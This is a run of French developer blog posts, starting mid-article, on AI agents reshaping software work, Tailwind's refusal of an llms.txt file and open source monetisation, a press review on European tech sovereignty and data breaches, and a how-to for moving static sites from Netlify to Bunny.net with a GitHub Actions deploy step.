Allez lire l'article de Simon, c'est beaucoup plus complet. Mais ce qu'il faut retenir c'est qu'avec ces agents, la nature même de notre métier a changé et c'est sans doute pas près de s'arrêter.

Un métier en mutation

Pour ceux, nombreux, qui continuent de ne pas utiliser l'IA, ou qui utilisent uniquement l'auto complétion basique dans l'IDE, le réveil risque d'être brutal. Le métier est en radical changement.

Je vous propose de lire cet article sur ce thème.

• "The Inevitable Evolution of the Developer Role" de Smaine Milianni

Smaine insiste sur l'évolution du rôle :

• from execution to direction
• from local optimizations to system-level thinking
• from writing instructions to defining intent

Et bien sûr que c'est inconfortable puisque ça relativise le prestige traditionnellement associé à l'écriture de code, en apparence.

When an LLM can generate boilerplate, implement well-scoped features, refactor safely, review code tirelessly… Then the act of typing code stops being the core differentiator, and that’s uncomfortable for many of us.

Je dis bien en apparence, car si le métier change, l'expertise/expérience reste un différenciateur important. Dans le flow actuel, je reste celui qui donne les directives, je corrige l'architecture, je définis le besoin et les problèmes à résoudre, les comportements attendus.

Mais comme le précise yoandev

l’IA exige une rigueur architecturale encore plus grande. Pourquoi ? Parce que l’IA est un amplificateur. Elle magnifie ce qui existe déjà. Si je lui donne une codebase spaghetti, elle va produire plus de spaghetti, plus vite. Si je lui donne une architecture propre avec des responsabilités claires, elle devient un assistant chirurgical redoutablement efficace. Le principe est simple : Garbage In, Garbage Out.

Maintenant il faut bien comprendre que ces nouvelles pratiques sont apparus en 2025, le terme même de vibe coding est apparu dans un tweet en février ! Donc aujourd'hui, l'une des questions importantes, c'est : "comment allons-nous industrialiser ces nouveaux usages et les rendre plus compatibles avec une production logicielle fiable ?"

Le temps de l'industrialisation

Si je simplifie, mon métier est désormais de concevoir et d'écrire ensuite ce que je veux voir apparaître dans mon application. C'est un métier de rédaction, puis de vérification. Je dois contrôler que l'architecture est correcte, que la sécurité et la performance ont été prises en compte, que le modèle est cohérent.

Une fonctionnalité avancée me prend entre 2 et 6h en fonction de la complexité et de mes crédits disponibles ^^ (non je ne paie pas 200/mois). Certaines fonctionnalités auraient pu me prendre 1 à 2 semaines de travail.

Pour Chris Loy, le software devient une commodité

Traditionally, software has been expensive to produce, with expense driven largely by the labour costs of a highly skilled and specialised workforce. This workforce has also constituted a bottleneck for the possible scale of production, making software a valuable commodity to produce effectively. Industrialisation of production, in any field, seeks to address both of these limitations at once, by using automation of processes to reduce the reliance on human labour, both lowering costs and also allowing greater scale and elasticity of production. Such changes relegate the human role to oversight, quality control, and optimisation of the industrial process.

Mais nous n'en sommes qu'au début et beaucoup se demandent justement comment fiabiliser ce qui est produit par les assistants de code, ce qui implique :

• d'optimiser le nombre de tokens nécessaires pour réduire les coûts
• de fiabiliser les sources documentaires utilisées par les IA
• de garantir la cohérence globale via l'usage de guidelines
• de garantir la conformité entre l'implémentation et la spec

Bref, industrialiser.

Vous retrouverez toutes ces questions dans l'article de Nicolas Martignole : L’IA générative va changer notre façon de coder (unpopular opinion)

Il y a quelques approches qui ont déjà émergé comme :

• BMAD qui propose tout un ensemble d'agents conversationnels pour simuler une équipe complète.
• SpecKit, un peu dans le même esprit mais en beaucoup plus simple.

Pour avoir essayé les deux, je ne m'y suis pas retrouvé. Effectivement BMAD permet de simuler une équipe complète. Mais ça m'a rappelé les travers des grandes boites. J'ai quadruplé mon temps de conception, j'ai explosé mon quota de crédits et la spécification produite était beaucoup trop verbeuse et complexe. J'ai eu l'impression de faire du SAFe avec moi-même. Et c'est pas une expérience que je recommande...

SpecKit est nettement plus simple, mais toujours trop verbeux à mon goût. Pour une simple fonctionnalité, il a créé une demi-douzaine de fichiers, des PRD, des specs fonctionnelles, des specs techniques etc... C'est sans doute ce qu'on veut dans un grand groupe industriel. C'est inadapté dans à peu près tous les autres contextes. Trop de doc tue la doc.

Ce serait dommage de réinventer un métier et de recréer immédiatement des bullshits jobs robotisés...

Maintenant puisqu'on parle de mutation, est-ce la fin des développeurs ou le renouveau ?

Fin ou renouveau ?

Cette question est revenue tellement au fil des années que ça en devient caricatural.
Jusqu'à présent, la conclusion a toujours été la même : non.

Parce qu'on a eu le fameux effet rebond qui fait qu'en simplifiant l'usage, on a eu plus de demandes de développeurs.

J'ai tendance à modérer cette conclusion qui devient trop automatique aujourd'hui et j'ai bien peur qu'on se conforte dans une de sorte de réflexe pavlovien. Oui la réponse a systématiquement été non mais je vous invite à réfléchir à cet article qui nous rappelle le parallèle entre les développeurs et les tisseurs de 1811 pendant la fameuse révolte des luddites.

Voici ce qu'on oublie souvent : pendant la première révolution industrielle en Angleterre, les salaires réels ont stagné pendant 40 ans alors que la productivité explosait. Quarante ans. Deux générations de travailleurs ont vu leur niveau de vie se dégrader pendant que les propriétaires d'usines s'enrichissaient.

Oui, il peut y avoir un effet rebond, mais ça peut prendre longtemps et ne pas forcément profiter à tous :

Le World Economic Forum note que chaque révolution industrielle a créé plus d'emplois qu'elle n'en a détruits. Mais (et c'est un gros mais) les personnes qui perdent leur emploi ne sont pas forcément celles qui en trouvent un nouveau.

Les recherches historiques montrent que pendant la deuxième révolution industrielle, les jeunes travailleurs s'adaptaient en changeant de métier vers les secteurs en croissance. Les travailleurs plus âgés, eux, restaient coincés dans des emplois dévalorisés ou basculaient vers des postes non qualifiés.

Ce qui est sûr, c'est qu'il semble désormais y avoir une inéluctabilité à ces changements comme le rappelle Salvatore Sanfilippo, le créateur de Redis

But, in general, it is now clear that for most projects, writing the code yourself is no longer sensible, if not to have fun. (...) you can't control it by refusing what is happening right now. Skipping AI is not going to help you or your career.

Même pour Linus Torvalds, la question ne se pose plus :

Is this much better than I could do by hand? Sure is.

On retrouve ce même constat chez Jaana Dogan (principal engineer chez Google)

I’m not joking and this isn’t funny. We have been trying to build distributed agent orchestrators at Google since last year. There are various options, not everyone is aligned, etc. I gave Claude Code a description of the problem, it generated what we built last year in an hour.

Vous pourrez retrouver cette citation dans un article de Pragmatic Engineer qui parle du même sujet When AI writes almost all code, what happens to software engineering?.

Je pourrais aussi vous citer Quentin Adam (CEO de Clever Cloud)

As developers, we should be careful not to turn healthy skepticism into outright rejection of innovation. History shows that many of the biggest leaps in our field came from tools or ideas that were initially dismissed as “dangerous”, “lazy”, or “not real engineering”.

Pour finir sur une note plus optimiste, j'ai aimé cet article de Mattias Geniar : Web development is fun again

There’s mental space for creativity in building software again.

Je me retrouve pas mal dans cet article. Construire une application est difficile, mais j'adore construire des produits. Désormais, je peux aller beaucoup plus loin, et plus rapidement. Je peux m'attarder sur ce qui compte vraiment et pas refaire les mêmes boilerplate encore et encore pendant 20 ans. Pour moi, c'est un accélérateur et ça change totalement la façon dont je crée du logiciel. Je passe plus de temps à réfléchir, concevoir, penser aux problèmes à résoudre et moins de temps à me prendre la tête sur des détails d'implémentations. Je produis du meilleur logiciel et oui, c'est fun.

Et maintenant ?

Difficile à dire ce que sera 2026 quand on voit à quelle vitesse tout a accéléré en 2025 d'autant qu'on peut difficilement mettre de côté ce qui se passe aussi dans le monde réel et les potentiels impacts que cela pourrait avoir sur nous. Il me parait improbable que l'on revienne en arrière sur l'usage de l'IA de façon volontaire, mais d'autres évènements extérieurs pourraient nous contrarier en Europe, si par exemple les US nous coupaient l'accès à certains services, ou s'ils les utilisaient pour de l'espionnage industriel à grande échelle.

Alors peut-être que ce sera l'année de la recherche d'optimisation pour faire tourner plus facilement, pour moins cher et moins énergivore, ces fameux agents sur des machines locales. Ce sera peut-être aussi l'année de l'industrialisation de l'usage des LLMs en entreprise, mais avec une séparation nette, entre des boites AI natives et les autres. Je ferai un article plus complet sur ce sujet précis dans le futur.

Quoi qu'il en soit, restez à l'écoute. Le métier change, vite.

Ok, la question n'est pas nouvelle et vous pourriez vous demander le rapport avec la discussion github ci-dessus. Discutons-en.

La demande était simple : ajouter un fichier llms.txt, destiné à rendre la documentation plus facilement consommable par les LLM.
La réponse l’était tout autant : refus, pour des raisons économiques.

Mais quel rapport entre les deux ?

Moins de trafic = moins d’argent

Le raisonnement est en réalité très simple et est expliqué par Adam Wathan (créateur de Tailwind):

Traffic to our docs is down about 40% from early 2023 despite Tailwind being more popular than ever. The docs are the only way people find out about our commercial products, and without customers we can't afford to maintain the framework.

La documentation est aujourd’hui le principal canal marketing des produits commerciaux de Tailwind (sponsoring, Tailwind Plus, etc.).
Or, depuis 2023, le trafic vers ces docs a chuté de manière significative, alors même que Tailwind n’a jamais été aussi populaire.

L'équation est donc simple :

• moins de trafic
• moins de conversions
• près de 80 % de revenus en moins
• et, très concrètement, 75 % de l’équipe licenciée

Dans ce contexte, simplifier l’accès des LLM à la documentation revient à accélérer la fuite de la seule source de revenus.

D’un point de vue purement économique, la décision se comprend et ce n'est pas anti IA, c'est simplement une réalité économique comme le précise Adam :

Right now there's just no correlation between making Tailwind easier to use and making development of the framework more sustainable. I need to fix that before making Tailwind easier to use benefits anyone, because if I can't fix that this project is going to become unmaintained abandonware when there is no one left employed to work on it. I appreciate the sentiment and agree in spirit, it's just more complicated than that in reality right now.

Freiner l’intégration LLM : solution ou stratégie défensive ?

La vraie question n’est pas “est-ce justifié ?”, mais plutôt :

Est-ce viable à moyen terme ?

Et selon moi, probablement pas. Les usages ont changé, les développeurs ne lisent plus systématiquement les docs. Ils interrogent ChatGPT, Copilot, Cursor ou Claude. La documentation est consommée indirectement.

Nier cette réalité c'est prendre plusieurs risques :

• des implémentations approximatives générées par les LLM
• des concurrents plus “IA-native” mis en avant
• une perte progressive de pertinence, malgré une adoption apparente

Autrement dit, protéger le trafic aujourd’hui peut coûter la pertinence demain.

Un problème plus large que Tailwind

Ce débat dépasse largement Tailwind.

J'utilise beaucoup Nuxt, j'adore ce framework et il me semble qu'ils ont connu des soucis similaires avec Nuxt UI ou Nuxt Studio.
Je prends Nuxt comme exemple, mais le problème est généralisable.

Depuis le rachat par Vercel, ces projets ont fini par devenir complètement open source et quelque chose me dit que l'adoption de Nuxt-UI a explosé.

En fait, et surtout avec l'IA, le traditionnel dilemme build vs buy est complètement bouleversé. Il est plus simple de prototyper rapidement, donc la valeur perçue des outils baisse et la monétisation devient plus difficile.

Attention, je ne dis pas que Nuxt, Tailwind Plus ou Nuxt-UI sont aisèment reproductibles avec l'IA. Il y a aussi la vision de leurs créateurs qui en font des outils uniques. C'est aussi parce que ce sont des outils open source que les feedbacks sont plus nombreux et que ces outils s'améliorent continuellement.

Mais beaucoup de développeurs pourraient être tentés de ne pas acheter la petite partie payante d'un projet open source sous prétexte que c'est beaucoup plus accessible qu'avant de le faire soit-même. Bref, c'est dur de vendre des modules additionnels sur des projets open source, et pour le coup c'est pas un scoop, on le savait déjà.

Dans ce contexte, le rachat de Nuxt par Vercel peut se lire comme une manière d'avoir de l'air, de sécuriser le développement. Mais c'est aussi une externalisation du problème avec un coût évident, une perte de contrôle et un risque de sous-investissement à long terme.

Ce n’est pas une solution structurelle, c’est un compromis.

Pour en revenir au sujet, une hypothèse se dessine de plus en plus clairement : La documentation ne sera plus un canal marketing humain.

Elle sera lue par des machines, résumée, transformée, injectée dans des prompts. Refuser cette évolution est un risque en soi.
Mais l’accepter sans modèle économique en est un autre.

Quelles pistes possibles ?

J'essaie d'y réfléchir et je vois plusieurs directions intéressantes. La question n’est plus comment faire venir les développeurs sur le site ? mais plutôt comment être présent là où ils codent réellement ?

On va commencer par une piste, celle qui me séduit le moins :

• Docs consommables via API

On pourrait imaginer que le fichier llms.txt soit proposé sur une API payante ou semi payante :

• avec rate limiting
• potentiellement réservée aux clients ou sponsors

C'est techniquement faisable, mais j'imagine pas chaque développeur prendre un abonnement pour chaque fichier llms.txt existants.

Maintenant je vois une seconde piste plus intéressante, et si on déplacait le marketing au plus près des utilisateurs ?

EDIT : Quelqu'un vient de m'informer de l'existence d'un nouveau protocole actuellement testé par Cloudflare en version bêta : pay per crawl.

Sur le papier, cela pourrait être intéressant. L'idée est de déclencher un échange entre le robot d'indexation et Cloudflare afin de facturer à une IA des frais pour l'indexation d'une page donnée.

Si cela devenait la norme, si le coût par requête était très faible (par exemple, 0,00001 $ par appel) et si les agents IA étaient capables d'intégrer cela dans leurs propres modèles de tarification pour les utilisateurs finaux, alors cela pourrait potentiellement fonctionner et fournir une nouvelle source de financement pour les projets open source.

Cela fait beaucoup de « si », mais pourquoi pas.

• MCP / serveur IA officiel

Imaginons que Tailwind propose sa ressource MCP officielle mais avec des instructions pour que les agents IA mentionnent obligatoirement les produits payants au bon moment.

Ca peut être sous forme de bannière affichée régulièrement dans la console pour inciter à la visite du site ou signaler les produits payants. Ca pourrait être aussi pour signaler à l'utilisateur qu'il est en train de refaire quelque chose qui existe déjà dans la version payante, par exemple dans Tailwind Plus.

L'idée c'est pas de créer une bannière intrusive, mais qui s'affiche au bon moment, avec le bon message.

EDIT : Vous pouvez également créer un serveur MCP payant qui sera très utile pour votre produit. C'est l'approche adoptée par DaisyUI. Ce serveur MCP comprend divers outils qui vont au-delà de la simple connaissance de la documentation, avec des bonnes pratiques, des outils de migration et des modèles.

Plus j'y pense et plus je considère que le vrai déplacement à opérer est là, ne plus chercher la monétisation uniquement dans le navigateur mais dans l’outil où le développeur travaille réellement

Aujourd’hui, c’est le prompt. Et quelque chose me dit que ce problème est généralisable aux moteurs de recherche qui se font également bypasser de plus en plus mais c'est une autre histoire. Ce qui est sûr, c'est que je ne serais pas étonné d'avoir des placements de produits dans le futur dans les LLMs.

Bref, le problème n’est pas l’IA. Le problème, c’est que le modèle économique de l’open source reposait sur un monde qui n’existe plus et si l’usage a quitté le navigateur pour le prompt, la monétisation devra suivre.

Alors, je vous propose une petite revue de presse, avec commentaires, nouveau format sur ce blog

Au programme :

• sortir de la dépendance tech US, une tendance de fond
• la culture de la sécurité passoire en France
• des retours d'expérience dans le monde des startups
• une faille majeure à rapidement patcher

Sortir de la dépendance tech US

Sur ce début d'année 2026 il y a un thème qui est beaucoup revenu : comment sortir de la dépendance tech aux US ?

De mon côté, c'est un thème que j'ai déjà exploré plusieurs fois :

• 26 janvier 2025 Pourquoi j'ai quitté Twitter et pourquoi vous devriez y penser aussi
• 13 mars 2025 Le mythe de la neutralité : Pourquoi la tech est politique
• 23 mars 2025 Europe Vs USA : la tech à l'heure des choix
• 02 avril 2025 Calculer son score de dépendance à la tech US
• 07 décembre 2025 Construire une application indépendante de la tech US en 2025

Et récemment, tous ces sujets sont très actifs, alors je vous propose quelques articles sur ce thème :

• l'interdiction pour Thierry Breton de se rendre aux US

Cette interdiction fait notamment suite au rôle de Thierry Breton dans le cadre des régulations de la tech en Europe.

Depuis trop longtemps, les idéologues européens mènent des actions concertées pour contraindre les plateformes américaines à sanctionner les opinions américaines auxquelles ils s’opposent, L’administration Trump ne tolérera plus ces actes flagrants de censure extraterritoriale Marco Rubio secrétaire d'état américain

• Menace contre les magistrats Européens qui pourraient s'en prendre aux partis d'extrèmes droite en Europe

Cet article provient du Figaro mais pour faire bonne mesure on peut aussi citer l'Humanité qui traite le même sujet.

Et oui, les Us passent à l'acte après la sortie de leur rapport sur le programme national de sécurité qui visent notamment à déstabiliser l'Europe. Leur objectif est d'installer des partis nationalistes (lol) proches des intérêts US (et Russe d'ailleurs) au pouvoir. Oui, faut bien relire la phrase, et non, il n'y a pas d'erreurs.

Bref, la menace devient de plus en plus tangible et ça ne manque pas de faire parler.

• via une pétition qui demande au gouvernement de ne plus utiliser X pour ces communications officielles (Une petite signature ne ferait pas de mal...)

• un appel récent du Chaos Computer Club, célèbre club de Hacker allemand pour se détourner des plateformes technologiques américaines.

Attention, malgré un nom mignon qui pourrait rappeler le comité contre les chats, le CCC, créé en 1981 est le plus grand groupe de Hackers en Europe. Dans cette annonce le CCC insiste sur les risques extra territoriaux posés par l'usage des plateformes techs. Et vous pourrez retrouver une version condensée et en Français sur Linkedin.

• Bon pote également s'inquiète de ce qui pourrait se passer si Trump le décidait

L'article souligne bien les soucis liés à notre dépendance, le risque d'un embargo numérique, le sous investissement dans la tech, même si je parlerais plutot d'un manque de vision technologique de mon côté.

D'ailleurs quand on lit ce passage, il n'est pas impossible qu'on dise la même chose

Aucune application numérique à succès n’a été construite par des hommes en costard dans un bureau de “maîtrise d’ouvrage” pilotant des managers d’entreprise de service numérique (ESN) pilotant des consultants au turnover. Aucune.

Je regrette peut-être juste parfois le discours "tant pis que ce soit nul si c'est francais". Non, faut pas encourager les mauvais produits à rester mauvais. On a l'opportunité d'être bon, la capacité de l'être, des bons exemples, mais faut pas défendre des mauvais produits parce que c'est "souverain". Et j'ai une petite impression que l'indépendance dans cet article est uniquement avec une vision Francaise, et pas Européenne, ce qui me semble assez irréaliste pour le coup.

• On peut citer aussi le billet de Bert Hubert, fondateur de PowerDNS

Bert Hubert insiste lui aussi sur les risques liés à la dépendance aux clouds américains (risque juridique, politique, d'interuption de service etc...)

Et donc dans la lignée de tout ça on retrouve des articles plus pratiques, afin de migrer nos services vers des alternatives européennes :

• Ce billet qui parle de Proton, VPN, Lumo
• Celui-ci qui parle de migration de Google vers Infomaniak
• Celui là qui parle de passer de Github à Codeberg

Bref, il y a une vraie tendance de fond et une vraie prise de conscience.

Et pour conclure, une petite stat qui fait plaisir, X sort du top 50 des sites les plus utilisées. Il est désormais derrière Lidl, DailyMotion ou LaPoste

Voilà, voilà...

Bon par contre, vu ce que j'écris désormais sur ce blog, il y a peu de chances que je passe les futures demandes de VISA pour les US qui veulent désormais pouvoir fouiller mes réseaux sociaux.
En même temps je prévois pas d'y aller...

La culture de la sécurité passoire en France

Korben en a profité cette semaine pour sortir un article de bilan des dernières fuites de données en France et c'est... navrant : 48 organisations françaises piratées en un an.

A ce stade, il y a tellement d'infos qui ont fuité de partout et qui sont corrélables facilement, que je serais pas surpris que les pirates soient capable de me découvrir de la famille cachée.
Je sais même plus pourquoi je dois créer des mots de passe avec 15 caractères spéciaux, 3 majuscules, 2 poèmes de Victor Hugo si de toute façon c'est open bar partout.

Au-delà de la plaisanterie, c'est un vrai problème. A force de voir une fuite par semaine, on en oublie le risque concret qui se pose à nous.
Plus aucune données n'est privé, on sait exactement ce que vous consommez, ce que vous pensez, ce que vous pourriez voter.

Et ce profilage ça ne sert pas qu'à vous vendre des trucs, mais à vous vendre aussi des idées. C'est exactement ce qui a été à l'origine de Cambridge Analytica. Pour toutes les prochaines élections, vos données sont des mines d'or.
Dans une période difficile (Cf le chapitre précédent) où chaque future élection risque d'être manipulée allégrément, ce profilage est inquiétant. Sans parler de ce que ça dit sur nos systèmes de sécurité et donc des attaques possibles sur nos institutions.
La poste vient de se faire trouer 2 fois en 15 jours, revendiqué par des groupes russes. Les conflits se jouent aujourd'hui dans l'espace numérique et apparemment on n'est pas les mieux armés.

Pour conclure cette petite veille sécurité, une faille vient d'être détectée sur Mongo, je vous invite à rapidement la patcher

Articles divers et néanmoins intéressants

Histoire de conclure sur une note plus légère, je vous invite à lire

• ce très bon retour d'un ex-CTO : I'm (no longer) CTO b*tch

Il y a des thèmes assez universels sur le boulot de CTO, ou de création de boite, et d'autres plus spécifiques au monde du service.

• ce très bon billet qui parle des différentes limites de chaque modèle d'organisation qu'on peut rencontré dans les boites techs.

Techical teams, squads, chapters, core team, one shot project, il n'y a pas de recette magique. Le billet m'a parlé puisque j'ai rencontré tout les problèmes listés ici, et d'autres. Une organisation a toujours des défauts mais vise un problème donnée, à un instant T, en fonction des contraintes du moment.

• un billet sur la façon dont le web est construit différemment en Afrique

J'ai beaucoup aimé ce billet qui met en évidence que ce sont des contraintes que peut naitre l'innovation. Les contraintes de frugalité impose de penser différemment. Ca m'a rappelé une conférence vu à Mix It il y a quelques années d'un développeur qui venait d'un pays Africain et avait raconté une histoire un peu similaire, notamment sur les contraintes liées à l'énergie à disposition et les multiples coupures de courant qui lui imposait de gérer son temps de travail en fonction de ça.

Sur ce, bonne année 2026 :)

• eventuallycoding.com (ce blog)
• bloggrify.com (un projet open source qui fait tourner ce blog)
• tous les sites de démo pour les templates de bloggrify (minimalist.bloggrify.com, mistral.bloggrify.com etc...)

Et même si j'apprécie Netlify, il existe des alternatives en Europe, donc je souhaitais essayer de migrer.

Netlify et ses alternatives

Avant de commencer, il faut comprendre ce qu'est Netlify et comment se définissent ces alternatives.

Netlify est un un PAAS, une plateforme pour faire tourner des applications de type Jamstack.

Jamstack étant une approche architecturale qui repose sur Javascript et le fait de faire tourner l'application en grande partie côté client avec des appels API quand c'est nécessaire. Netlify est d'ailleurs le principal acteur privé derrière la communauté Jamstack et pousse cette approche dans l'industrie.

Bref, c'est une plateforme dans laquelle on va trouver des notions de builds, de déploiement, d'extensions (auth, database, cms etc...)

Si on devait citer des alternatives dans le même coeur de métier, et plug and play, on pourrait lister :

• Vercel (qui a connu plusieurs polémiques autour du soutien de son CEO à Trump ou à Netanyahu)
• Cloudflare pages
• Firebase

Sauf que toutes ces plateformes sont US.

Il existe d'autres solutions, plus généralistes et cette fois on peut trouver des solutions Européennes : Scalingo ou Clever Cloud.

Mais il y a une solution qui est souvent oubliée : Bunny.net.

Bunny.net

A l'origine, Bunny.net n'est pas un concurrent à proprement parler de netlify. Bunny.net est avant tout un CDN et se compare davantage à Cloudflare. Sauf que, comme Cloudflare, ils ont su évoluer pour proposer des fonctionnalitées avancées permettant de faire tourner des applications jamstack simple sur leur CDN.

Attention, c'est moins abouti qu'un Netlify ou qu'un Cloudflare, on retrouvera moins de services et il faut soi-même assembler une "storage zone" et une "pull zone" pour assembler son site. On le verra plus loin, il y a d'autres petites limitations. Mais à côté de ca on retrouve par contre un très bon service anti DDOS ou des limites de consommation (pour éviter les factures 100 000 dollars de Netlify...), des services d'optimisations d'images, de l'optimisation de ressources, un bouclier anti bot, bref, tout ce dont j'ai besoin pour des blogs statiques.

Maintenant, passons à la pratique et voyons comment j'ai migré Bloggrify.

Cas pratique: Migration de Bloggrify

Bloggrify est un projet opensource, une sorte de Docus mais pour les blogs. Et si vous ne connaissez pas Docus, cette phrase n'a sans doute aucun sens :)

Mais peu importe, ce qu'il faut retenir c'est que c'est un générateur de blog statique et qui dit statique, dit déployable sur un CDN.

Pull zone et storage zone

La première chose à faire, nous allons créer une zone de stockage pour les fichiers (storage zone) :

Quand la zone est crée, il faut la connecter à une "pull zone". Ce sera cette "pull zone" qui permettra de servir le site web.

Maintenant dans la zone de stockage, il faut aller dans FTP & Api access pour récupérer le mot de passe permettant d'utiliser l'API.

Configurer le déploiement automatique avec bunny-deploy

Un de mes critères pour migrer c'était évidemment de ne pas perdre l'automatisation de mes déploiements. Or il se trouve qu'il existe un plugin compatible avec Github actions pour le déploiement sur Bunny.

Ici il faut donc rajouter ces étapes :

	- name: Generate static site
	  run: npm run generate

	- name: Deploy to Bunny
	  uses: R-J-dev/bunny-deploy@v2.1.1
	  with:
		access-key: ${{ secrets.BUNNY_ACCESS_KEY }}
		directory-to-upload: ".output/public"  # Nuxt 3
		storage-endpoint: "https://storage.bunnycdn.com"
		storage-zone-name: "bloggrify"
		storage-zone-password: ${{ secrets.BUNNY_STORAGE_ZONE_PASSWORD }}
		enable-delete-action: true
		enable-purge-pull-zone: true
		pull-zone-id: "5063091"
		concurrency: 50
		replication-timeout: "15000"
		request-timeout: "5000" # optional, defaults to 5000
		retry-limit: "3" # optional, defaults to 3

Au préalable il faut avoir renseigné la BUNNY_ACCESS_KEY et le BUNNY_STORAGE_ZONE_PASSWORD dans les secrets de votre repository.

Evidemment la storage-zone-name est le nom de la zone défini dans Bunny, ici bloggrify pour mon cas.

Configurer le nom de domaine

A ce stade, vous avez sans doute votre site sur une url bunny, par exemple bloggrify-mistral.b-cdn.net. Cependant il est possible d'ajouter un custom hostname :

Ceci vous demandera de configurer votre DNS pour ajouter un ALIAS ou un CNAME sur votre DNS.

Eviter les factures délirantes

Bunny permet de limiter la conso et de se protéger des attaques DDOS. Pour cela, il faut choisir la pull zone, aller dans Network limits, et créer une "monthly bandwidth limit". J'ai mis 1GB en considérant que le traffic n'est pas excessif sur Bloggrify.

En plus de cela, vous pouvez aller dans Shield, choisir le plan gratuit, et sélectionner la protection DDoS. Vous pouvez ajuster la sensibilité en fonction de ce qui vous semble juste.

Paramétrage de nitro

Dans le cas très spécifique de Nuxt, et surtout de Docus, vous pourriez rencontrer un problème. En effet le site généré contient des répertoires sans index.html.

Par exemple :

• introduction/configuration qui contient les ressources de la page configuration
• introduction/configuration.html

Mais si on tape sur https://bloggrify.com/introduction/configuration, par défaut on obtient une 404 parce que personne ne réécrit l'url vers le fichier html. Donc il faut dire explicitement à Nitro de changer sa façon de générer les fichiers :

export default defineNuxtConfig({
  nitro: {
    prerender: {
      autoSubfolderIndex: true
    }
  }
})

En faisant cela, on va générer cette fois :

• introduction/configuration/index.html, et cette fois ça marche.

Cette gymnastique n'est pas nécessaire sur Netlify qui gère très bien cela mais pour Bunny il faut l'aider un peu.

Et.... c'est terminé.

Alors certes la mise en place est un peu plus exigeante que Netlify mais désormais bloggrify.com fonctionne sur Bunny et je migre progressivement les autres sites. L'objectif est atteint et je ferai peut être un suivi dans les mois qui viennent.

Et vous pourriez me dire, "oui mais les blogs c'est pas un peu mort depuis Youtube, Tiktok, Instagram et consorts ?" Là-dessus, je ne pense pas, mais je vais en reparler.

Par contre, les blogs ont un défaut majeur qui les pénalise par rapport à toutes les plateformes que je viens de citer : la découvrabilité.
Ce qui fait le succès des plateformes c'est... les algorithmes de suggestion de contenus.

Oui, je sais, c'est aussi ce qu'on leur reproche. Mais sans algo, personne ne découvrirait la vidéo de Jean-Pierre et sa passion pour les fourmis. Et ce serait peut-être dommage.

Sauf qu'un des sujets qui vient avec, c'est la responsabilité des plateformes sur le contenu suggéré, et donc la modération. Et pour l'instant, aucune plateforme n'est irréprochable à ce sujet. Entre le zèle puritain de Youtube, la banalisation des discours complotistes de X, les ventes de poupées sexuelles sur Shein, on voit bien que le sujet est loin d'être simple et toujours pas résolu.

Alors, comment on fait ? Est-ce que c'est voué à l'échec ?

Bref, je vais parler ici de la santé des blogs, de découvrabilité et de pourquoi c'est important, des différentes solutions de découvrabilité, des plateformes de suggestions de contenu et de modération. Et autant vous dire que j'ai pas toutes les réponses, je suis justement en train de me pencher dessus. Mais justement, ça m'intéresse qu'on en discute.

Les blogs se portent bien

Et oui, surprise, en réalité les blogs ne se portent pas si mal. En tout cas c'est ce qu'on peut lire sur optinmonster qui nous parle de plus de 600 M de blogs à travers le monde. Il y aurait plus de 409 M de personnes qui liraient plus de 20 milliards de pages chaque mois sur wordpress.com, WordPress qui continue de propulser 40 % des sites mondiaux. Sur cette autre source on peut lire que 83 % des internautes (4,4 milliards de personnes) lisent des articles de blogs régulièrement.

Bref, le blog est en réalité très vivant, même si, effectivement, il y a cependant une évolution vers une consommation plus forte de vidéo.

Aujourd'hui 82 % du trafic internet mondial concerne la vidéo et beaucoup se tournent désormais vers Tiktok, Instagram et consorts pour trouver rapidement une réponse sur un sujet, que ce soit des recettes de cuisine, des tutoriels de bricolage ou même des sujets tech. Pour autant, l'écrit se démarque par sa facilité d'accès et de mise à jour. Personnellement je fais les deux, des vidéos et des articles de blog. Et écrire est évidemment nettement plus rapide que produire une vidéo, sans parler que je peux corriger un article après mise en ligne, ce que je ne peux pas faire sur une vidéo. Et ça, pour moi, ça donne un avantage significatif à l'écrit pour beaucoup de gens qui n'ont pas l'énergie de se filmer, ou juste pas envie de montrer leur tête.

Alors oui, la vidéo va continuer de s'imposer sur du divertissement et les moments où on cherche à débrancher un peu son cerveau, mais le blog continuera d'être plus facile d'accès et pourra permettre de créer un contenu plus spécialisé, plus facile à mettre à jour.

Par contre, et c'est là où les plateformes vidéos tirent leur épingle du jeu, la grosse différence se fait sur la suggestion de contenu et c'est ça qui en fait un modèle fragile.

La découvrabilité, une question de vanity metrics ?

La découvrabilité est un sujet un peu vaste, parce qu'on pourrait se demander en premier lieu si c'est vraiment une préoccupation quand on écrit un blog.

Pour certains, la réponse est clairement oui, on parle de personnes qui ont créé un média, une newsletter payante et qui monétisent leur trafic. Exemple : Pragmatic Engineer, Ali Abdaal.

À l'opposé du spectre, l'activité n'est pas à vocation lucrative, c'est un journal personnel et advienne que pourra. À la limite, la découvrabilité est même découragée, par exemple n.survol.fr qui ne publie aucun sitemap et rend difficile l'exploration du site.

Et entre les deux il y a toute une palette de couleurs : des gens qui travaillent leur personal branding (so 2000), d'autres qui s'en servent de relais d'influence, des blogueurs du dimanche etc.

Pour ma part je navigue dans cette zone grise. Je ne monétise pas mon blog que j'alimente depuis 2001 mais j'admets que je trouverais ça un peu triste que personne ne lise. Donc j'y prête attention.
Même si je l'utilise aussi comme une sorte de mémoire numérique personnelle, ma première motivation quand j'ai démarré au début des années 2000 c'était de partager des tutoriels et des retours d'expérience. Et si c'est absolument pas lu, je mettrais sans doute moins d'effort. C'est justement pour passer à l'échelle que j'ai ajouté le format vidéo Youtube il y a un an.

Je comprends que ce ne soit pas l'objectif de tout le monde, mais pour ma part, aujourd'hui, j'essaie d'avoir de l'impact, à mon échelle, sur la compréhension de sujets tech, de son influence, dans l'entreprise et même dans la société. Je ne vends rien, et j'essaie d'apporter quelque chose.

Sauf que voilà, quand je publie une vidéo sur Youtube, j'ai en moyenne plusieurs milliers de vues avec un max personnel pour l'instant à 35k. (Exemple : au moment où j'écris cet article, j'ai publié une vidéo ce matin, elle fait déjà 3,6k vues en moins de 7h)

Sur le blog, les vues oscillent entre 50 et 12k vues. Mais la grande majorité tourne autour des 1k. Et encore, on parle d'un blog ancien avec une bonne réputation de domaine, un SEO à peu près viable, bref, ce ne sont même pas de mauvaises performances.

Encore une fois, peut-être que certains sont absolument contre le fait de regarder ces "vanity metrics", mais je ne cache pas que j'ai l'esprit joueur et je suis prêt à parier que certains blogs seraient quand même plus actifs s'ils étaient plus lus.

